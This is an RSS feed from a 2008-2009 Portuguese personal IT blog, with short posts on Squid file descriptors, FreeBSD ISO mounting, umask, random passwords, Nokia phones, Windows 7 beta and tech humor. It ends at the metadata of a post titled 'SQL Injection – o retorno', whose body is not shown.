﻿<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eli Rios</title>
	<atom:link href="http://www.elirios.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.elirios.com</link>
	<description>blog pessoal de tudo sobre tudo...</description>
	<lastBuildDate>Tue, 06 Oct 2009 21:04:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Novo Layout</title>
		<link>http://www.elirios.com/sem-categoria/novo-layout</link>
		<comments>http://www.elirios.com/sem-categoria/novo-layout#comments</comments>
		<pubDate>Wed, 16 Sep 2009 02:20:24 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[sem categoria]]></category>
		<category><![CDATA[layout]]></category>
		<category><![CDATA[novo]]></category>
		<category><![CDATA[volta]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=99</guid>
		<description><![CDATA[Novo layout para o site, afinal isso aqui estava muito parado e agora vamos movimentar tudo.
Estive nesse meio tempo envolvido em outros projetos como o blog http://tudonosso.com, projetos aqui da empresa (segredo) e mais uns projetinhos pessoais. Com tantas coisas acabei deixando um pouco de lado isso aqui, meu blog xodó.
Mas vamos ao que interessa: [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fnovo-layout"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fnovo-layout" height="61" width="51" /></a></div><p>Novo layout para o site, afinal isso aqui estava muito parado e agora vamos movimentar tudo.</p>
<p><img class="alignleft size-thumbnail wp-image-100" title="excesso trabalho" src="http://www.elirios.com/wp-content/uploads/2009/09/excesso-trabalho-150x150.jpg" alt="excesso trabalho" width="150" height="150" />Estive nesse meio tempo envolvido em outros projetos como o blog <a href="http://tudonosso.com">http://tudonosso.com</a>, projetos aqui da empresa (segredo) e mais uns projetinhos pessoais. Com tantas coisas acabei deixando um pouco de lado isso aqui, meu blog xodó.</p>
<p>Mas vamos ao que interessa: conteúdo. Sabe, trabalho todos os dias com informática, servidores, usuários, impressoras, smartphones, redes e afins que não sei se quero manter esse blog só sobre isso. Afinal, trabalhar com isso e ainda a noite escrever sobre isso pode cansar. Vou manter esse blog ainda com a idéia original, meu repositório de conhecimento e experiências, mas deixando um espaço extra para outros assuntos que me interessam também. Não por não gostar de informática, profissão que adoro, mas para poder colocar minha mente em outros assuntos de meu interesse.</p>
<p>Como um nerd extremo que sou, tenho muito mais do que falar do que somente sobre informática.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/sem-categoria/novo-layout/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A vida em Perl&#8230;</title>
		<link>http://www.elirios.com/sem-categoria/a-vida-em-perl</link>
		<comments>http://www.elirios.com/sem-categoria/a-vida-em-perl#comments</comments>
		<pubDate>Thu, 18 Jun 2009 13:38:14 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[sem categoria]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[poesia]]></category>

		<guid isPermaLink="false">http://www.elirios.com/sem-categoria/a-vida-em-perl</guid>
		<description><![CDATA[#!/usr/bin/perl
while($alive) {
   seek(LIFE,LOVE,HAPPINESS);
   study($life);
   if($day=~&#8221;^S&#8221; or $weekend) {
      sleep($longer);
      tell $theworld, &#8220;HOORAY!&#8221;;
      play();
      have($fun);
      cut $GRASS;
   } else {
    [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fa-vida-em-perl"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fa-vida-em-perl" height="61" width="51" /></a></div><p>#!/usr/bin/perl<br />
while($alive) {<br />
   seek(LIFE,LOVE,HAPPINESS);<br />
   study($life);<br />
   if($day=~&#8221;^S&#8221; or $weekend) {<br />
      sleep($longer);<br />
      tell $theworld, &#8220;HOORAY!&#8221;;<br />
      play();<br />
      have($fun);<br />
      cut $GRASS;<br />
   } else {<br />
      sub work {<br />
         seek(PROBLEMS,0,1) and study;<br />
         $solve and $analyze until $done<br />
      };<br />
   }<br />
}</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/sem-categoria/a-vida-em-perl/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Aplicação para Twitter</title>
		<link>http://www.elirios.com/mobile/aplicacao-para-twitter</link>
		<comments>http://www.elirios.com/mobile/aplicacao-para-twitter#comments</comments>
		<pubDate>Wed, 18 Feb 2009 13:47:12 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[mobile]]></category>
		<category><![CDATA[aplicação]]></category>
		<category><![CDATA[GPS]]></category>
		<category><![CDATA[nokia]]></category>
		<category><![CDATA[S60]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=89</guid>
		<description><![CDATA[
A resposta para a pergunta de qual aplicação devo intalar para usar o Twitter nos celulares S60 da Nokia é o Twibble. Com ele você pode usar seu telefone. Apesar de dizer ser possível enviar fotos por ele, só obtive erros tentando. É possível o GPS para incluir sua localização em seus tweets. Tente clicando [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fmobile%2Faplicacao-para-twitter"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fmobile%2Faplicacao-para-twitter" height="61" width="51" /></a></div><p style="text-align: center;"><img src="http://www.elirios.com/wp-content/uploads/2009/02/twitter-nokia-e71.jpg" alt="" /></p>
<p>A resposta para a pergunta de qual aplicação devo intalar para usar o Twitter nos celulares S60 da Nokia é o Twibble. Com ele você pode usar seu telefone. Apesar de dizer ser possível enviar fotos por ele, só obtive erros tentando. É possível o GPS para incluir sua localização em seus tweets. Tente clicando <a href="http://m.twibble.de/">aqui</a>. (http://m.twibble.de/)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/mobile/aplicacao-para-twitter/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Novo Nokia E63</title>
		<link>http://www.elirios.com/tecnologia/novo-nokia-e63</link>
		<comments>http://www.elirios.com/tecnologia/novo-nokia-e63#comments</comments>
		<pubDate>Tue, 10 Feb 2009 00:18:30 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[tecnologia]]></category>
		<category><![CDATA[e63]]></category>
		<category><![CDATA[eseries]]></category>
		<category><![CDATA[nokia]]></category>
		<category><![CDATA[qwerty]]></category>
		<category><![CDATA[smartphone]]></category>
		<category><![CDATA[symbian]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=85</guid>
		<description><![CDATA[Anunciado dois meses atrás, o Nokia E63 é o último dos Nokia Eseries. Com um teclado qwerty e é considerado a versão mais barata do E71 por perder alguns recursos. Mas isso tem boas razões: com o número de smartphones aumentando, nós consumidores estamos procurando mais pelo preço na hora de adquirir um.
Dentre o que [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Ftecnologia%2Fnovo-nokia-e63"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Ftecnologia%2Fnovo-nokia-e63" height="61" width="51" /></a></div><p><img class="alignleft" title="Nokia E63" src="http://www.contentwire.com/img/7eP8KTKeqAHuWHeb.jpeg" alt="Nokia E63" width="130" height="240" />Anunciado dois meses atrás, o Nokia E63 é o último dos Nokia Eseries. Com um teclado qwerty e é considerado a versão mais barata do E71 por perder alguns recursos. Mas isso tem boas razões: com o número de smartphones aumentando, nós consumidores estamos procurando mais pelo preço na hora de adquirir um.</p>
<p>Dentre o que foi perdido, temos o GPS, HSDPA e alguns MP na câmera.Muitas pessoas não precisam de GPS, sendo considerado um recurso não essencial. O celular ainda provê acesso 3G, de velocidade máxima de 384kbps. E a câmera de 2MP não desaponta.</p>
<p>O E63 tem um teclado qwerty melhorado em relação ao seu irmão E71, além de ser mais leve e menor. Seu preço está em torno de US$270,00 lá no exterior.</p>
<p>Simpático, não?!?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/tecnologia/novo-nokia-e63/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows 7 beta 1 &#8211; impressões</title>
		<link>http://www.elirios.com/ti/windows-7-beta-1-impressoes</link>
		<comments>http://www.elirios.com/ti/windows-7-beta-1-impressoes#comments</comments>
		<pubDate>Wed, 04 Feb 2009 10:57:58 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[TI]]></category>
		<category><![CDATA[beta]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[review]]></category>
		<category><![CDATA[sistemas operacionais]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[windows 7]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=77</guid>
		<description><![CDATA[
 by t-dot-s-dot
Muito pouco pode-se falar. Está estável quando com hardware atualizado.  Talvez para computadores mais antigos haja problemas.
Tem um bug que “come” 3 segundos do inicio do áudio de arquivos mp3, quando editado os metadados. Mas já existe um path de correção para ambas plataformas, x86 e x64. Para mais informações, consulte o KnowledgeBase [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fwindows-7-beta-1-impressoes"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fwindows-7-beta-1-impressoes" height="61" width="51" /></a></div><p><a class="flickr-image" title="Macbook running Windows 7 Beta" href="http://www.flickr.com/photos/79446887@N00/3193427928/"><img src="http://farm4.static.flickr.com/3085/3193427928_346ae6d94f_m.jpg" alt="Macbook running Windows 7 Beta" /></a><br />
<small><a title="Attribution-NonCommercial-ShareAlike License" rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/"><img src="http://www.elirios.com/wp-content/plugins/wordpress-flickr-manager/images/creative_commons_bw.gif" alt="Attribution-NonCommercial-ShareAlike License" /></a> by <a href="http://www.flickr.com/people/79446887@N00/">t-dot-s-dot</a></small></p>
<p>Muito pouco pode-se falar. Está estável quando com hardware atualizado.  Talvez para computadores mais antigos haja problemas.</p>
<p>Tem um bug que “come” 3 segundos do inicio do áudio de arquivos mp3, quando editado os metadados. Mas já existe um path de correção para ambas plataformas, <a href="http://www.redmondpie.com/downloadscenter/update_for_windows_7_beta_x86_kb961367.msu">x86 </a>e <a href="http://www.redmondpie.com/downloadscenter/update_for_windows_7_beta_x64_kb961367.msu">x64</a>. Para mais informações, consulte o <a href="http://support.microsoft.com/kb/961367">KnowledgeBase da Microsoft (961367)</a>.</p>
<p><span id="more-77"></span></p>
<p>Quanto a velocidade, foi tirado alguns aplicativos como o Movie Maker e a galeria de fotos, para melhorar desempenho.0 Mas esses podem ser instalados via web, pelo site da Microsoft. Ainda assim é um sistema com uma interface avançada que vai precisar de processador, memória, apesar de mais leve que o Vista.</p>
<p>O sistema de drivers se mantém igual/compatível ao Vista, assim como a interface gráfica que se mantém com algumas melhorias. O que acontecerá é que haverá 7 versões, onde algumas serão voltadas para máquinas mais humildes.<br />
Para execução ainda será necessário uns 2gb. Ideal mesmo é uma memória com 3gb, se estarmos falando em plataforma 32 bits. O XP com sp1, por exemplo, reconhece 4gb, mas sem tanta performance assim. Nessa lógica, para o novo Windows rodará bem com os 3gb. A plataforma x64 ainda não é recomendada por não haver cmpatibilidade com algumns aplicativos.<br />
Em resumo, é o Windows 7 é como o Vista, mas com melhorias de performance, sem muitas novidades.<br />
Lembrando que download do beta no site da Microsoft somente até dia 10 de fevereiro.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/ti/windows-7-beta-1-impressoes/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Como solucionar o problema &#8220;WARNING! Your cache is running out of filedescriptors&#8221; no SQUID rodando em Debian?</title>
		<link>http://www.elirios.com/ti/your-cache-is-running-out-of-filedescriptors</link>
		<comments>http://www.elirios.com/ti/your-cache-is-running-out-of-filedescriptors#comments</comments>
		<pubDate>Tue, 09 Sep 2008 12:28:26 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[TI]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[filedescriptor]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[squid]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=55</guid>
		<description><![CDATA[Li muito a respeito e para cada distribuição ou sitema operacional (como FreeBSD), solução é igual, aplicada de forma diferente.
Esse aviso no log diz que o SQUID está tentando acessar mais arquivos do que lhe é permitido. Isso causa lentidão no acesso a web e assim começa uma ação em cadeia que faz que o [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fyour-cache-is-running-out-of-filedescriptors"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fyour-cache-is-running-out-of-filedescriptors" height="61" width="51" /></a></div><p>Li muito a respeito e para cada distribuição ou sitema operacional (como FreeBSD), solução é igual, aplicada de forma diferente.</p>
<p>Esse aviso no log diz que o SQUID está tentando acessar mais arquivos do que lhe é permitido. Isso causa lentidão no acesso a web e assim começa uma ação em cadeia que faz que o usuário não acesse nenhum site.</p>
<p>A solução então aumentar esse limite, que no Debian é de 1024 por padrão. Existe um arquivo que devemos editar:</p>
<p><em>/etc/default/squid</em></p>
<blockquote><p>#<br />
# /etc/default/squid    Configuration settings for the Squid proxy server.<br />
#<br />
# Max. number of filedescriptors to use. You can increase this on a busy<br />
# cache to a maximum of (currently) 4096 filedescriptors. Default is 1024.<br />
SQUID_MAXFD=1024</p></blockquote>
<p>Observe que a linha SQUID_MAXFD define o valor em 1024, que pode ser alterado para no máximo 4096 sem ter que recompilar nada. Para um valor maior, será necessário a recompilação tanto do SQUID quanto de alguns módulos do kernel.</p>
<p>Depois de alterar, basta reinicializar o processo do SQUID</p>
<p><em>/etc/init.d/squid restart</em></p>
<p>ou</p>
<p><em>/etc/init.d/squid stop &amp;&amp; /etc/init.d/squid start</em></p>
<p>Aqui funcionou. Ainda temos outros problemas aqui em relação ao cache, mas é mais em questão de hardware limitado do que configuração. Mas isso é assunto para outro post.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/ti/your-cache-is-running-out-of-filedescriptors/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Voltando a postar&#8230;</title>
		<link>http://www.elirios.com/sem-categoria/voltando-a-postar</link>
		<comments>http://www.elirios.com/sem-categoria/voltando-a-postar#comments</comments>
		<pubDate>Tue, 09 Sep 2008 00:53:46 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[sem categoria]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=54</guid>
		<description><![CDATA[Após longo tempo sem postar, estou de volta. Peço desculpas a aqueles que já me visitavam. Amanhã postarei sobre o SQUID no Debian, como resolver o problema do max filedescriptors. Vou acabar trocando esse cache por um no FreeBSD. Mas até lá preciso manter esse no Debian, ainda em kernel 2.4.x
Agora, uma coisa que preciso [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fvoltando-a-postar"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fvoltando-a-postar" height="61" width="51" /></a></div><p>Após longo tempo sem postar, estou de volta. Peço desculpas a aqueles que já me visitavam. Amanhã postarei sobre o SQUID no Debian, como resolver o problema do <em>max filedescriptors</em>. Vou acabar trocando esse cache por um no FreeBSD. Mas até lá preciso manter esse no Debian, ainda em kernel 2.4.x</p>
<p>Agora, uma coisa que preciso estudar é como dimencionar o hardware para um SQUID.</p>
<p>Isso aí gente. Estou de volta. Descobri aqui o prazer em compartilhar.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/sem-categoria/voltando-a-postar/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD: Como montar uma imagem ISO</title>
		<link>http://www.elirios.com/ti/freebsd-como-montar-uma-imagem-iso</link>
		<comments>http://www.elirios.com/ti/freebsd-como-montar-uma-imagem-iso#comments</comments>
		<pubDate>Tue, 15 Jul 2008 17:06:54 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[TI]]></category>
		<category><![CDATA[cdrom]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[iso]]></category>
		<category><![CDATA[mount]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=52</guid>
		<description><![CDATA[Para montar uma imagem ISO, use o comando mdconfig. A man page pode dar mais informações sobre esse comando, mas para nosso caso será assim:
mdconfig -a -t vnode -f image.iso
Você agora pode ver:
md0
(Assumindo que é o primeiro disco. O segundo será obviamente md1)
Então vamos ver como montar um disco como cdrom
mount_cd9660 /dev/md0 /mnt
O dispositivo será [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Ffreebsd-como-montar-uma-imagem-iso"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Ffreebsd-como-montar-uma-imagem-iso" height="61" width="51" /></a></div><p>Para montar uma imagem ISO, use o comando <em>mdconfig</em>. A <em>man page</em> pode dar mais informações sobre esse comando, mas para nosso caso será assim:</p>
<p><em>mdconfig -a -t vnode -f image.iso</em></p>
<p>Você agora pode ver:</p>
<p><em>md0</em></p>
<p>(Assumindo que é o primeiro disco. O segundo será obviamente <em>md1</em>)</p>
<p>Então vamos ver como montar um disco como <em>cdrom</em></p>
<p><em>mount_cd9660 /dev/md0 /mnt</em></p>
<p>O dispositivo será então montado como se fosse um CDROM. Para liberar, use o -d para desatachar (e -u para unidade)</p>
<p><em>mdconfig -d -u 0</em></p>
<p>0, lógico, refere-se ao número da unidade. Se for md1, então use <em>mdconfig -d -u 1</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/ti/freebsd-como-montar-uma-imagem-iso/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>umask &#8211; o que é isso?</title>
		<link>http://www.elirios.com/ti/umask-o-que-e-isso</link>
		<comments>http://www.elirios.com/ti/umask-o-que-e-isso#comments</comments>
		<pubDate>Fri, 04 Jul 2008 13:16:50 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[TI]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[umask]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=51</guid>
		<description><![CDATA[Muito comum em sistemas unix like, o umask (user file creation mode mask) é uma função POSIX que afeta a máscara de permissão que o arquivo é criado.
É simples. Para arquivos, acesso total se tem como permissão 666(rw-) e para diretórios 777(rwx). O valor de umask deve ser calculado assim:
&#60;acesso total&#62; &#8211; &#60;valor da permissão&#62; [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fumask-o-que-e-isso"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fumask-o-que-e-isso" height="61" width="51" /></a></div><p>Muito comum em sistemas <em>unix like</em>, o umask (<em><strong>u</strong>ser file creation mode <strong>mask</strong></em>) é uma função <em>POSIX </em>que afeta a máscara de permissão que o arquivo é criado.</p>
<p>É simples. Para arquivos, acesso total se tem como permissão 666(rw-) e para diretórios 777(rwx). O valor de <em>umask </em>deve ser calculado assim:</p>
<p>&lt;acesso total&gt; &#8211; &lt;valor da permissão&gt; = &lt;valor umask&gt;</p>
<p>Exemplo:</p>
<p><strong>666 &#8211; 664 = 002 </strong>=&gt; gera arquivos que o usuário e o grupo tem acesso total e que todos tem acesso somente leitura.</p>
<p>Importante: O comando <em>umask </em>define um novo <em>umask </em>somente para sessão atual. Programas <em>daemon </em>de <em>ftp </em>também usam para definir parâmetros de criação de arquivos, assim como o <em>samba</em></p>
<p>Fontes:</p>
<p><a href="http://en.wikipedia.org/wiki/Umask">http://en.wikipedia.org/wiki/Umask</a></p>
<p><a href="http://www.tech-faq.com/lang/pt/umask.shtml">http://www.tech-faq.com/lang/pt/umask.shtml</a></p>
<p><a href="http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=6994&amp;pagina=2">http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=6994&amp;pagina=2</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/ti/umask-o-que-e-isso/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>FreeBSD &#8211; como gerar uma senha aleatória</title>
		<link>http://www.elirios.com/ti/freebsd-como-gerar-uma-senha-aleatoria</link>
		<comments>http://www.elirios.com/ti/freebsd-como-gerar-uma-senha-aleatoria#comments</comments>
		<pubDate>Thu, 03 Jul 2008 14:04:10 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[TI]]></category>
		<category><![CDATA[aleatória]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[gerar]]></category>
		<category><![CDATA[senha]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=50</guid>
		<description><![CDATA[Para gerar uma senha aleatória para um usuário (com o usuário já existente no sistema, já que se não existe, o script adduser já fornece a opção de criação de senha aleatória) pode-se usar o comando pw:
pw usermod  -w random
onde:

pw - cria, remove, modifica e mostra usuários e grupos do sistema;
usermod - define que [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Ffreebsd-como-gerar-uma-senha-aleatoria"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Ffreebsd-como-gerar-uma-senha-aleatoria" height="61" width="51" /></a></div><p>Para gerar uma senha aleatória para um usuário (com o usuário já existente no sistema, já que se não existe, o script <em>adduser </em>já fornece a opção de criação de senha aleatória) pode-se usar o comando <em>pw</em>:</p>
<blockquote><p>pw usermod  -w random</p></blockquote>
<p>onde:</p>
<ul>
<li><em>pw </em>- cria, remove, modifica e mostra usuários e grupos do sistema;</li>
<li><em>usermod </em>- define que o comando pw será usado para modificar um usuário;</li>
<li> &#8211; nome do usuário para gerar a senha aleatória;</li>
<li><em>-w</em> &#8211; define que será editada a senha de um usuário já existente no sistema;</li>
<li><em>random </em>- define que o método de edição será a geração aleatória da senha.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/ti/freebsd-como-gerar-uma-senha-aleatoria/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Erro 404</title>
		<link>http://www.elirios.com/ti/erro-404</link>
		<comments>http://www.elirios.com/ti/erro-404#comments</comments>
		<pubDate>Wed, 02 Jul 2008 15:02:21 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[TI]]></category>
		<category><![CDATA[404]]></category>
		<category><![CDATA[humor]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=48</guid>
		<description><![CDATA[O Erro 404 é um antigo demônio asteca que foi aprisionado pelo Príncipe Charles séculos atrás. Ele permaneceu preso até começar a era da internet, quando os desastrados experientes programadores da Microsoft o libertaram. Hoje esse demônio assombra toda a internet, espalhando o terror aos incautos internautas que navegam por mares nunca antes navegados. (desciclopedia).

A [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Ferro-404"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Ferro-404" height="61" width="51" /></a></div><p>O <strong>Erro 404</strong> é um antigo demônio asteca que foi aprisionado pelo Príncipe Charles séculos atrás. Ele permaneceu preso até começar a era da internet, quando os desastrados experientes programadores da Microsoft o libertaram. Hoje esse demônio assombra toda a internet, espalhando o terror aos incautos internautas que navegam por mares nunca antes navegados. (<a href="http://desciclo.pedia.ws/wiki/Erro_404">desciclopedia</a>).<br />
<br />
A <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">RFC 2616</a> explica:</p>
<h3>404 Not Found</h3>
<p><em> The server has not found anything matching the Request-URI. No    indication is given of whether the condition is temporary or    permanent. The 410 (Gone) status code SHOULD be used if the server    knows, through some internally configurable mechanism, that an old    resource is permanently unavailable and has no forwarding address.    This status code is commonly used when the server does not wish to    reveal exactly why the request has been refused, or when no other    response is applicable. </em><br />
<br />
Resumindo, o arquivo não existe no servidor, não foi encontrado, só isso&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/ti/erro-404/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Suporte Medieval</title>
		<link>http://www.elirios.com/sem-categoria/suporte-medieval</link>
		<comments>http://www.elirios.com/sem-categoria/suporte-medieval#comments</comments>
		<pubDate>Wed, 02 Jul 2008 10:00:38 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[sem categoria]]></category>
		<category><![CDATA[helpdesk]]></category>
		<category><![CDATA[humor]]></category>
		<category><![CDATA[suporte]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=47</guid>
		<description><![CDATA[Para quem não é da área, é mais ou menos assim acontece (video abaixo). Desculpe a brincadeira, mas informática para usuário é assim &#8211; só precisa somente saber ler e ter um pouco de paciência.
Eu como analista tenho que ler livros e livros, acessar blogs, fóruns, sites de suporte. Preciso ligar para empresas, falar com [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fsuporte-medieval"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fsuporte-medieval" height="61" width="51" /></a></div><p>Para quem não é da área, é mais ou menos assim acontece (video abaixo). Desculpe a brincadeira, mas informática para usuário é assim &#8211; só precisa somente saber ler e ter um pouco de paciência.</p>
<p>Eu como analista tenho que ler livros e livros, acessar blogs, fóruns, sites de suporte. Preciso ligar para empresas, falar com outros suportes, assistir palestras. O usuário só precisa perder o medo do computador e ter um pouco de paciência para ler as mensagens do monitor e lembrar um pouco das orientações do suporte.</p>
<p>Como exemplo um sonoplasta na Rádio Cultura aqui da fundação que trabalho: ele conheceu toda a história da rádio no Brasil, editou áudio de todas as formas possíveis e hoje usa um computador para isso. Grande Lenine.</p>
<p>Abrir a mente, esvaziar a xícara, chame como quiser. A tecnologia só facilita se você deixar ela entrar na sua vida.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="src" value="http://www.youtube.com/v/pQHX-SjgQvQ&amp;hl=en" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/pQHX-SjgQvQ&amp;hl=en" allowfullscreen="true"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/sem-categoria/suporte-medieval/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SQL Injection &#8211; o retorno</title>
		<link>http://www.elirios.com/ti/sql-injection-again</link>
		<comments>http://www.elirios.com/ti/sql-injection-again#comments</comments>
		<pubDate>Wed, 02 Jul 2008 02:09:39 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[TI]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[segurança]]></category>
		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=46</guid>
